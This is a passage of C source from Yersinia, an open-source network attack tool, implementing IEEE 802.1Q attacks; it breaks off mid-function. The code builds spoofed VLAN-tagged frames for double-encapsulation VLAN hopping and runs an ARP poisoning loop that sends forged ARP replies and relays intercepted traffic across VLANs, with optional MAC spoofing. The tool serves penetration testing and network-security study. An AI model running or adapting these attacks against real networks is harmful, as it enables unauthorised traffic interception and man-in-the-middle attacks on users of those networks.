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dot1q.c
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dot1q.c
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/* dot1q.c
* Implementation and attacks for IEEE 802.1Q
*
* Yersinia
* By David Barroso <tomac@yersinia.net> and Alfredo Andres <aandreswork@hotmail.com>
* Copyright 2005-2017 Alfredo Andres and David Barroso
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
*/
#ifdef HAVE_CONFIG_H
#include <config.h>
#endif
#ifndef _REENTRANT
#define _REENTRANT
#endif
#include <stdio.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#ifdef HAVE_NETINET_IN_SYSTM_H
#include <netinet/in_systm.h>
#else
#ifdef HAVE_NETINET_IN_SYSTEM_H
#include <netinet/in_system.h>
#endif
#endif
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <signal.h>
#include <time.h>
#ifdef TIME_WITH_SYS_TIME
#include <sys/time.h>
#endif
#ifdef HAVE_UNISTD_H
#include <unistd.h>
#endif
#ifdef HAVE_STRING_H
#include <string.h>
#endif
#ifdef HAVE_STRINGS_H
#include <strings.h>
#endif
#ifdef HAVE_BSTRING_H
#include <bstring.h>
#endif
#ifdef STDC_HEADERS
#include <stdlib.h>
#endif
#ifdef HAVE_PTHREAD_H
#include <pthread.h>
#endif
#include <stdarg.h>
#include "dot1q.h"
void
dot1q_register(void)
{
protocol_register(PROTO_DOT1Q, "802.1Q", "IEEE 802.1Q", "dot1q",
sizeof(struct dot1q_data), dot1q_init_attribs, dot1q_learn_packet,
dot1q_get_printable_packet, dot1q_get_printable_store,
dot1q_load_values, dot1q_attack, dot1q_update_field,
dot1q_features, dot1q_comm_params, SIZE_ARRAY(dot1q_comm_params),
NULL, 0, NULL, dot1q_init_comms_struct, PROTO_VISIBLE, dot1q_end);
}
/*
* Inicializa la estructura que se usa para relacionar el tmp_data
* de cada nodo con los datos que se sacaran por pantalla cuando
* se accede al demonio de red.
* Teoricamente como esta funcion solo se llama desde term_add_node()
* la cual, a su vez, solo es llamada al tener el mutex bloqueado por
* lo que no veo necesario que sea reentrante. (Fredy).
*/
int8_t
dot1q_init_comms_struct(struct term_node *node)
{
struct dot1q_data *dot1q_data;
void **comm_param;
comm_param = (void *)calloc(1,sizeof(void *)*SIZE_ARRAY(dot1q_comm_params));
if (comm_param == NULL)
{
thread_error("dot1q_init_commands_struct calloc error",errno);
return -1;
}
dot1q_data = node->protocol[PROTO_DOT1Q].tmp_data;
node->protocol[PROTO_DOT1Q].commands_param = comm_param;
comm_param[0] = &dot1q_data->mac_source;
comm_param[1] = &dot1q_data->mac_dest;
comm_param[2] = &dot1q_data->vlan1;
comm_param[3] = &dot1q_data->priority1;
comm_param[4] = &dot1q_data->cfi1;
comm_param[5] = &dot1q_data->tpi2;
comm_param[6] = &dot1q_data->vlan2;
comm_param[7] = &dot1q_data->priority2;
comm_param[8] = &dot1q_data->cfi2;
comm_param[9] = &dot1q_data->tpi3;
comm_param[10] = &dot1q_data->src_ip;
comm_param[11] = &dot1q_data->dst_ip;
comm_param[12] = &dot1q_data->ip_proto;
comm_param[13] = &dot1q_data->icmp_payload;
comm_param[14] = NULL;
comm_param[15] = NULL;
return 0;
}
void dot1q_th_send( void *arg )
{
struct attacks *attacks = (struct attacks *)arg;
sigset_t mask;
struct dot1q_data *dot1q_data;
pthread_mutex_lock(&attacks->attack_th.finished);
pthread_detach(pthread_self());
sigfillset(&mask);
if (pthread_sigmask(SIG_BLOCK, &mask, NULL))
{
thread_error("dot1q_th_send pthread_sigmask()",errno);
dot1q_th_send_exit(attacks);
}
dot1q_data = attacks->data;
dot1q_data->tpi1 = ETHERTYPE_VLAN;
dot1q_data->tpi2 = ETHERTYPE_IP;
dot1q_send_icmp(attacks,0);
dot1q_th_send_exit(attacks);
}
void dot1q_th_send_exit( struct attacks *attacks )
{
attack_th_exit(attacks);
pthread_mutex_unlock(&attacks->attack_th.finished);
pthread_exit(NULL);
}
void dot1q_double_th_send( void *arg )
{
struct attacks *attacks = (struct attacks *)arg;
sigset_t mask;
struct dot1q_data *dot1q_data;
pthread_mutex_lock(&attacks->attack_th.finished);
pthread_detach(pthread_self());
sigfillset(&mask);
if (pthread_sigmask(SIG_BLOCK, &mask, NULL))
{
thread_error("dot1q_th_send pthread_sigmask()",errno);
dot1q_double_th_send_exit(attacks);
}
dot1q_data = attacks->data;
dot1q_data->tpi1 = ETHERTYPE_VLAN;
dot1q_data->tpi2 = ETHERTYPE_VLAN;
dot1q_send_icmp(attacks,1);
dot1q_double_th_send_exit(attacks);
}
void dot1q_double_th_send_exit( struct attacks *attacks )
{
attack_th_exit(attacks);
pthread_mutex_unlock(&attacks->attack_th.finished);
pthread_exit(NULL);
}
int8_t
dot1q_send_icmp(struct attacks *attacks, u_int8_t double_encap)
{
libnet_ptag_t t;
libnet_t *lhandler;
int32_t sent;
u_int16_t *aux;
int32_t payload_size=0;
struct dot1q_data *dot1q_data;
u_int8_t *payload=NULL;
dlist_t *p;
struct interface_data *iface_data;
struct interface_data *iface_data2;
dot1q_data = attacks->data;
dot1q_data->icmp_pay_len = strlen((const char *)dot1q_data->icmp_payload);
/* 802.1Q Double encap. */
if (double_encap)
{
payload_size=4;
payload = (u_int8_t *)calloc(payload_size,1);
if (payload == NULL)
{
thread_error("dot1q payload calloc()",errno);
return -1;
}
aux = (u_int16_t *)(payload);
*aux = htons((dot1q_data->priority2 << 13) | (dot1q_data->cfi2 << 12)
| (dot1q_data->vlan2 & LIBNET_802_1Q_VIDMASK));
aux = (u_int16_t *)(payload+2);
*aux = htons(dot1q_data->tpi3);
}
for (p = attacks->used_ints->list; p; p = dlist_next(attacks->used_ints->list, p)) {
iface_data = (struct interface_data *) dlist_data(p);
lhandler = iface_data->libnet_handler;
t = libnet_build_icmpv4_echo(
ICMP_ECHO, /* type */
0, /* code */
0, /* checksum */
0x42, /* id */
0x42, /* sequence number */
dot1q_data->icmp_pay_len?dot1q_data->icmp_payload:NULL, /* payload */
dot1q_data->icmp_pay_len, /* payload size */
lhandler, /* libnet handle */
0);
if (t == -1)
{
thread_libnet_error("Can't build icmp header",lhandler);
libnet_clear_packet(lhandler);
if (payload)
free(payload);
return -1;
}
t = libnet_build_ipv4(
LIBNET_IPV4_H + LIBNET_ICMPV4_ECHO_H+
dot1q_data->icmp_pay_len, /* length */
0, /* TOS */
0x42, /* IP ID */
0, /* IP Frag */
64, /* TTL */
IPPROTO_ICMP, /* protocol */
0, /* checksum */
htonl(dot1q_data->src_ip), /* source IP */
htonl(dot1q_data->dst_ip), /* destination IP */
NULL, /* payload */
0, /* payload size */
lhandler, /* libnet handle */
0);
if (t == -1)
{
thread_libnet_error("Can't build ip header",lhandler);
libnet_clear_packet(lhandler);
if (payload)
free(payload);
return -1;
}
t = libnet_build_802_1q(
dot1q_data->mac_dest, /* dest mac */
(attacks->mac_spoofing) ? dot1q_data->mac_source : iface_data->etheraddr,
dot1q_data->tpi1, /* TPI */
dot1q_data->priority1, /* priority (0 - 7) */
dot1q_data->cfi1, /* CFI flag */
dot1q_data->vlan1, /* vid (0 - 4095) */
dot1q_data->tpi2,
payload, /* payload */
payload_size, /* payload size */
lhandler, /* libnet handle */
0); /* libnet id */
if (t == -1)
{
thread_libnet_error("Can't build 802.1q header",lhandler);
libnet_clear_packet(lhandler);
if (payload)
free(payload);
return -1;
}
/*
* Write it to the wire.
*/
sent = libnet_write(lhandler);
if (sent == -1) {
thread_libnet_error("libnet_write error", lhandler);
libnet_clear_packet(lhandler);
if (payload)
free(payload);
return -1;
}
libnet_clear_packet(lhandler);
protocols[PROTO_DOT1Q].packets_out++;
iface_data2 = interfaces_get_struct(iface_data->ifname);
iface_data2->packets_out[PROTO_DOT1Q]++;
}
if (payload)
free(payload);
return 0;
}
void dot1q_th_poison( void *arg )
{
struct attacks *attacks = (struct attacks *)arg;
struct interface_data *iface_data;
struct dot1q_data *dot1q_data = (struct dot1q_data *)attacks->data;
struct pcap_pkthdr header;
struct libnet_802_3_hdr *ether;
struct timeval now;
libnet_ptag_t t;
libnet_t *lhandler;
u_int8_t *packet, out=0, arp_mac[ETHER_ADDR_LEN];
u_int16_t *cursor;
int32_t sent;
sigset_t mask;
dlist_t *p;
pthread_mutex_lock(&attacks->attack_th.finished);
pthread_detach(pthread_self());
sigfillset(&mask);
if (pthread_sigmask(SIG_BLOCK, &mask, NULL))
{
thread_error("dot1q_th_poison pthread_sigmask()",errno);
dot1q_th_poison_exit(attacks);
}
dot1q_data->tpi1 = ETHERTYPE_VLAN;
gettimeofday(&now,NULL);
header.ts.tv_sec = now.tv_sec;
header.ts.tv_usec = now.tv_usec;
if (dot1q_learn_mac(attacks, &header, arp_mac) < 0)
dot1q_th_poison_exit(attacks);
if ( thread_create( &attacks->helper_th, &dot1q_send_arp_poison, attacks ) )
{
write_log( 0, "dot1q_th_poison thread_create error\n");
dot1q_th_poison_exit(attacks);
}
packet = (u_int8_t *)calloc( 1, SNAPLEN );
if ( ! packet )
dot1q_th_poison_exit(attacks);
while (!attacks->attack_th.stop && !out)
{
interfaces_get_packet(attacks->used_ints, NULL, &attacks->attack_th.stop, &header, packet, PROTO_DOT1Q, NO_TIMEOUT );
if (attacks->attack_th.stop)
break;
ether = (struct libnet_802_3_hdr *) packet;
iface_data = (struct interface_data *) dlist_data(attacks->used_ints->list);
if ( memcmp((attacks->mac_spoofing)?dot1q_data->mac_source:iface_data->etheraddr,
ether->_802_3_dhost,6))
continue; /* Not for the poisoned MAC... */
cursor = (u_int16_t *) (packet + LIBNET_802_3_H);
/* cursor++; */
/* 802.3
if (ntohs(*cursor) < 0x0800)
do_802_3 = 1;
*/
for (p = attacks->used_ints->list; p; p = dlist_next(attacks->used_ints->list, p))
{
iface_data = (struct interface_data *) dlist_data(p);
lhandler = iface_data->libnet_handler;
t = libnet_build_ethernet(
arp_mac, /* dest mac */
(attacks->mac_spoofing) ? dot1q_data->mac_source : iface_data->etheraddr, /* src mac*/
ETHERTYPE_VLAN, /* type */
(u_int8_t *)cursor, /* payload */
header.len - LIBNET_802_3_H, /* payload size */
lhandler, /* libnet handle */
0); /* libnet id */
if (t == -1)
{
thread_libnet_error("Can't build Ethernet_II header",lhandler);
libnet_clear_packet(lhandler);
out = 1;
break;
}
/*
* Write it to the wire.
*/
sent = libnet_write(lhandler);
if (sent == -1) {
thread_libnet_error("libnet_write error", lhandler);
libnet_clear_packet(lhandler);
out = 1;
break;
}
libnet_clear_packet(lhandler);
protocols[PROTO_DOT1Q].packets_out++;
iface_data->packets_out[PROTO_DOT1Q]++;
}
} /*...!stop*/
/* dot1q_return_mac(attacks, arp_mac); */
free(packet);
dot1q_th_poison_exit(attacks);
}
/*
* ARP Poison. Get the real MAC address for arp_ip...
*/
int8_t dot1q_learn_mac( struct attacks *attacks, struct pcap_pkthdr *header, u_int8_t *arp_mac )
{
struct dot1q_data *dot1q_data, dot1q_data_learned;
struct attack_param *param=NULL;
struct pcap_data pcap_aux;
struct libnet_802_3_hdr *ether;
u_int32_t arp_src, arp_dst;
u_int8_t mac_dest[ETHER_ADDR_LEN];
u_int8_t arp_mac_dest[ETHER_ADDR_LEN];
int8_t ret, gotit=0;
u_int8_t *packet;
u_int16_t *cursor, *arp_vlan;
dlist_t *p;
struct interface_data *iface_data;
dot1q_data = attacks->data;
param = attacks->params;
arp_vlan = (u_int16_t *)param[DOT1Q_ARP_VLAN].value;
memcpy((void *)&arp_src, param[DOT1Q_ARP_IP_SRC].value, 4);
memcpy((void *)&arp_dst, param[DOT1Q_ARP_IP].value, 4);
memcpy((void *)mac_dest, (void *)"\xff\xff\xff\xff\xff\xff", ETHER_ADDR_LEN);
memcpy((void *)arp_mac_dest, (void *)"\x00\x00\x00\x00\x00\x00", ETHER_ADDR_LEN);
header->ts.tv_sec = 0;
header->ts.tv_usec = 0;
if ((packet = calloc(1, SNAPLEN)) == NULL)
return -1;
while (!attacks->attack_th.stop && !gotit)
{
thread_usleep(800000);
for (p = attacks->used_ints->list; p; p = dlist_next(attacks->used_ints->list, p))
{
iface_data = (struct interface_data *) dlist_data(p);
ret = dot1q_send_arp(iface_data, ARPOP_REQUEST,
(attacks->mac_spoofing)?dot1q_data->mac_source:iface_data->etheraddr,
mac_dest,
(u_int8_t *)&arp_src,
(u_int8_t *)&arp_dst,
arp_mac_dest,
*arp_vlan,
dot1q_data->priority1);
if (ret == -1)
{
free(packet);
return ret;
}
}
interfaces_get_packet(attacks->used_ints, NULL, &attacks->attack_th.stop, header, packet,
PROTO_DOT1Q, NO_TIMEOUT);
if (attacks->attack_th.stop)
break;
ether = (struct libnet_802_3_hdr *) packet;
iface_data = (struct interface_data *) dlist_data(attacks->used_ints->list);
if ( !memcmp((attacks->mac_spoofing)?dot1q_data->mac_source:iface_data->etheraddr, ether->_802_3_shost, 6) )
continue; /* Oops!! Its our packet... */
if ( memcmp((attacks->mac_spoofing)?dot1q_data->mac_source:iface_data->etheraddr, ether->_802_3_dhost,6))
continue; /* Not a response... */
pcap_aux.header = header;
pcap_aux.packet = packet;
if (dot1q_load_values(&pcap_aux, &dot1q_data_learned) < 0)
continue;
if (dot1q_data_learned.tpi2 != ETHERTYPE_ARP)
continue;
cursor = (u_int16_t *) (packet + LIBNET_802_3_H);
cursor++;
if (ntohs(*cursor) < 0x0800) /* 802.3 */
cursor+=4;
cursor+=2;
if (ntohs(*cursor) != ETHERTYPE_IP)
continue;
cursor+=2;
if (ntohs(*cursor) != 2 )
continue;
cursor+=4;
if (memcmp((void *)cursor,(void *)&arp_dst,4))
continue;
memcpy((void *)arp_mac,(void *)ether->_802_3_shost,6);
write_log(0, " ARP Spoofing MAC = %02X:%02X:%02X:%02X:%02X:%02X\n",
ether->_802_3_shost[0], ether->_802_3_shost[1], ether->_802_3_shost[2],
ether->_802_3_shost[3], ether->_802_3_shost[4], ether->_802_3_shost[5]);
gotit = 1;
} /* !stop */
free(packet);
if (attacks->attack_th.stop)
return -1;
return 0;
}
/*
* ARP Poison. Return the MAC to its owner :)...
*/
int8_t
dot1q_return_mac(struct attacks *attacks, u_int8_t *arp_mac)
{
struct attack_param *param = NULL;
struct dot1q_data *dot1q_data;
u_int32_t arp_ip, arp_dst;
u_int8_t a;
u_int8_t mac_dest[ETHER_ADDR_LEN];
u_int16_t *arp_vlan;
int8_t ret;
dlist_t *p;
struct interface_data *iface_data;
dot1q_data = attacks->data;
param = attacks->params;
arp_vlan = (u_int16_t *)param[DOT1Q_ARP_VLAN].value;
memcpy((void *)&arp_ip,param[DOT1Q_ARP_IP].value,4);
memcpy((void *)mac_dest, (void *)"\xff\xff\xff\xff\xff\xff", ETHER_ADDR_LEN);
/*arp_ip = htonl(arp_ip);*/
arp_dst = 0;
for ( a=0; a < 3; a++)
{
for (p = attacks->used_ints->list; p; p = dlist_next(attacks->used_ints->list, p))
{
iface_data = (struct interface_data *) dlist_data(p);
ret = dot1q_send_arp(iface_data, ARPOP_REPLY,
arp_mac,
mac_dest,
(u_int8_t *)&arp_ip,
(u_int8_t *)&arp_dst,
mac_dest,
*arp_vlan,
dot1q_data->priority1);
if (ret == -1)
return ret;
}
thread_usleep(999999);
}
return 0;
}
void dot1q_th_poison_exit( struct attacks *attacks )
{
attack_th_exit(attacks);
pthread_mutex_unlock(&attacks->attack_th.finished);
pthread_exit(NULL);
}
/*
* Child/Thread loop sending
* ARP poison every 2 secs...
*/
void
dot1q_send_arp_poison(void *arg)
{
struct attacks *attacks;
struct attack_param *param;
struct dot1q_data *dot1q_data;
u_int32_t arp_ip, arp_dst;
u_int8_t out=0;
u_int8_t mac_dest[ETHER_ADDR_LEN];
u_int16_t *arp_vlan;
int8_t ret;
dlist_t *p;
struct interface_data *iface_data;
attacks = arg;
pthread_mutex_lock(&attacks->helper_th.finished);
pthread_detach(pthread_self());
dot1q_data = attacks->data;
param = attacks->params;
arp_vlan = (u_int16_t *)param[DOT1Q_ARP_VLAN].value;
memcpy((void *)&arp_ip, param[DOT1Q_ARP_IP].value, 4);
memcpy((void *)mac_dest, (void*)"\xff\xff\xff\xff\xff\xff", ETHER_ADDR_LEN);
/* arp_ip = htonl(arp_ip);*/
arp_dst = 0;
while (!attacks->helper_th.stop && !out)
{
for (p = attacks->used_ints->list; p; p = dlist_next(attacks->used_ints->list, p))
{
iface_data = (struct interface_data *) dlist_data(p);
ret = dot1q_send_arp(iface_data, ARPOP_REPLY,
(attacks->mac_spoofing)?dot1q_data->mac_source:iface_data->etheraddr,
mac_dest,
(u_int8_t *)&arp_ip,
(u_int8_t *)&arp_dst,
mac_dest,
*arp_vlan,
dot1q_data->priority1);
if (ret == -1)
{
out = 1;
break;
}
}
if (!out)
thread_usleep(999999);
}
pthread_mutex_unlock(&attacks->helper_th.finished);
pthread_exit(NULL);
}
/*
* Send ARP packet...
*/
int8_t
dot1q_send_arp(struct interface_data *iface, u_int16_t optype,
u_int8_t *mac_source, u_int8_t *mac_dest,
u_int8_t *ip_source, u_int8_t *ip_dest, u_int8_t *arp_mac_dest,
u_int16_t vlan, u_int8_t priority)
{
libnet_ptag_t t;
libnet_t *lhandler;
int32_t sent;
lhandler = iface->libnet_handler;
t = libnet_build_arp(
ARPHRD_ETHER, /* hardware addr */
ETHERTYPE_IP, /* protocol addr */
6, /* hardware addr size */
4, /* protocol addr size */
optype, /* operation type */
(u_int8_t *)mac_source, /* sender hardware address */
ip_source, /* sender protocol addr */
(u_int8_t *)arp_mac_dest, /* target hardware addr */
ip_dest, /* target protocol addr */
NULL, /* payload */
0, /* payload size */
lhandler, /* libnet context */
0); /* libnet id */
if (t == -1)
{
thread_libnet_error("Can't build arp header",lhandler);
libnet_clear_packet(lhandler);
return -1;
}
t = libnet_build_802_1q(
mac_dest, /* dest mac */
mac_source, /* src mac */
ETHERTYPE_VLAN, /* TPI */
priority, /* priority (0 - 7) */
0, /* CFI flag */
vlan, /* vid (0 - 4095) */
ETHERTYPE_ARP,
NULL, /* payload */
0, /* payload size */
lhandler, /* libnet handle */
0); /* libnet id */
if (t == -1)
{
thread_libnet_error("Can't build 802.1q header",lhandler);
libnet_clear_packet(lhandler);
return -1;
}
/*
* Write it to the wire.
*/
sent = libnet_write(lhandler);
if (sent == -1) {
thread_libnet_error("libnet_write error", lhandler);
libnet_clear_packet(lhandler);
return -1;
}
libnet_clear_packet(lhandler);
protocols[PROTO_DOT1Q].packets_out++;
iface->packets_out[PROTO_DOT1Q]++;
return 0;
}
int8_t
dot1q_init_attribs(struct term_node *node)
{
struct dot1q_data *dot1q_data;
dot1q_data = node->protocol[PROTO_DOT1Q].tmp_data;
attack_gen_mac(dot1q_data->mac_source);
dot1q_data->mac_source[0] &= 0x0E;
parser_vrfy_mac(DOT1Q_DFL_MAC_DST,dot1q_data->mac_dest);
dot1q_data->tpi1 = DOT1Q_DFL_TPI1;
dot1q_data->priority1 = DOT1Q_DFL_PRIO1;
dot1q_data->cfi1 = DOT1Q_DFL_CFI1;
dot1q_data->vlan1 = DOT1Q_DFL_VLAN1;
dot1q_data->tpi2 = DOT1Q_DFL_TPI2;
dot1q_data->priority2 = DOT1Q_DFL_PRIO2;
dot1q_data->cfi2 = DOT1Q_DFL_CFI2;
dot1q_data->vlan2 = DOT1Q_DFL_VLAN2;
dot1q_data->tpi3 = DOT1Q_DFL_TPI3;
dot1q_data->src_ip = ntohl(inet_addr("10.0.0.1"));
dot1q_data->dst_ip = ntohl(inet_addr("255.255.255.255"));
dot1q_data->ip_proto = 1;
memcpy(dot1q_data->icmp_payload,DOT1Q_DFL_PAYLOAD,sizeof(DOT1Q_DFL_PAYLOAD));
dot1q_data->icmp_pay_len = DOT1Q_DFL_PAY_LEN;
return 0;
}
int8_t dot1q_learn_packet( struct attacks *attacks, char *iface, u_int8_t *stop, void *data, struct pcap_pkthdr *header )
{
struct dot1q_data *dot1q_data = (struct dot1q_data *)data;
struct interface_data *iface_data;
struct pcap_data pcap_aux;
u_int8_t *packet, got_802_1q_pkt = 0;
int8_t ret = -1;
dlist_t *p;
if (iface)
{
p = dlist_search(attacks->used_ints->list, attacks->used_ints->cmp, iface);
if (!p)
return -1;
iface_data = (struct interface_data *) dlist_data(p);
}
else
iface_data = NULL;
packet = (u_int8_t *)calloc( 1, SNAPLEN );
if ( packet )
{
while ( !got_802_1q_pkt && !(*stop) )
{
interfaces_get_packet( attacks->used_ints, iface_data, stop, header, packet, PROTO_DOT1Q, NO_TIMEOUT );
if ( !(*stop) )
{
pcap_aux.header = header;
pcap_aux.packet = packet;
if (!dot1q_load_values((struct pcap_data *)&pcap_aux, dot1q_data))
{
got_802_1q_pkt = 1;
ret = 0 ;
}
}
}
free(packet);
}
return ret ;
}
/*
* Load values from packet to data.
* At the moment this function is called only
* from ncurses-gui.c
*/
int8_t
dot1q_load_values(struct pcap_data *data, void *values)
{
struct libnet_802_3_hdr *ether;
struct dot1q_data *dot1q;
u_int16_t *cursor;
u_int8_t *ip;
#ifndef LBL_ALIGN
struct libnet_ipv4_hdr *ipv4_hdr;
#endif
dot1q = (struct dot1q_data *)values;
if (data->header->caplen < (14+8+8) ) /* Undersized packet!! */
return -1;
ether = (struct libnet_802_3_hdr *) data->packet;
/* Source MAC */
memcpy(dot1q->mac_source, ether->_802_3_shost, ETHER_ADDR_LEN);
/* Destination MAC */
memcpy(dot1q->mac_dest, ether->_802_3_dhost, ETHER_ADDR_LEN);
cursor = (u_int16_t *) (data->packet + LIBNET_802_3_H);
dot1q->priority1 = ntohs(*cursor) >> 13;
dot1q->cfi1 = ntohs(*cursor) & 0x1000;
dot1q->vlan1 = ntohs(*cursor) & 0xfff;
cursor++;
dot1q->tpi2 = ntohs(*cursor);
switch(dot1q->tpi2)
{
case ETHERTYPE_IP:
break;
case ETHERTYPE_VLAN:
cursor++;
dot1q->priority2 = ntohs(*cursor) >> 13;
dot1q->cfi2 = ntohs(*cursor) & 0x1000;
dot1q->vlan2 = ntohs(*cursor) & 0xfff;
cursor++;
dot1q->tpi3 = ntohs(*cursor);
if (dot1q->tpi3 != ETHERTYPE_IP)
return 0;
break;
default:
return 0;
break;
}
cursor++; /* Minimal IP header needed */
ip = (u_int8_t *)cursor;
/* Undersized packet!! */
if ( (ip+20) > (data->packet + data->header->caplen))
return 0;
#ifdef LBL_ALIGN
dot1q->ip_proto = *(ip+9);
memcpy((void *)&dot1q->src_ip, (ip+12), 4);
memcpy((void *)&dot1q->dst_ip, (ip+16), 4);
#else
ipv4_hdr = (struct libnet_ipv4_hdr *)cursor;
dot1q->src_ip = ntohl(ipv4_hdr->ip_src.s_addr);
dot1q->dst_ip = ntohl(ipv4_hdr->ip_dst.s_addr);
dot1q->ip_proto = ipv4_hdr->ip_p;
#endif
return 0;
}
/*
* Return formated strings of each 802.1Q field
*/
char **dot1q_get_printable_packet( struct pcap_data *data )
{
struct libnet_802_3_hdr *ether;
struct libnet_ipv4_hdr *ipv4_hdr;
u_int16_t *cursor, type_cursor;
u_int8_t *ip;
char *aux;
u_int32_t aux_long;
char **field_values;
if ( ! data )
return NULL ;
if (data && (data->header->caplen < (14+8+8)) ) /* Undersized packet!! */
return NULL;
if ((field_values = (char **) protocol_create_printable(protocols[PROTO_DOT1Q].nparams, protocols[PROTO_DOT1Q].parameters)) == NULL) {
write_log(0, "Error in calloc\n");
return NULL;
}
ether = (struct libnet_802_3_hdr *) data->packet;
/* Source MAC */
snprintf(field_values[DOT1Q_SMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X",
ether->_802_3_shost[0], ether->_802_3_shost[1], ether->_802_3_shost[2],
ether->_802_3_shost[3], ether->_802_3_shost[4], ether->_802_3_shost[5]);
/* Destination MAC */
snprintf(field_values[DOT1Q_DMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X",
ether->_802_3_dhost[0], ether->_802_3_dhost[1], ether->_802_3_dhost[2],
ether->_802_3_dhost[3], ether->_802_3_dhost[4], ether->_802_3_dhost[5]);
cursor = (u_int16_t *) (data->packet + LIBNET_802_3_H);
snprintf(field_values[DOT1Q_VLAN1], 5, "%04d", (ntohs(*cursor) & 0xfff));
snprintf(field_values[DOT1Q_PRIORITY1], 3, "%02X", (ntohs(*cursor) >> 13));
snprintf(field_values[DOT1Q_CFI1], 3, "%02X", (ntohs(*cursor) & 0x1000));
cursor++;
type_cursor = ntohs(*cursor);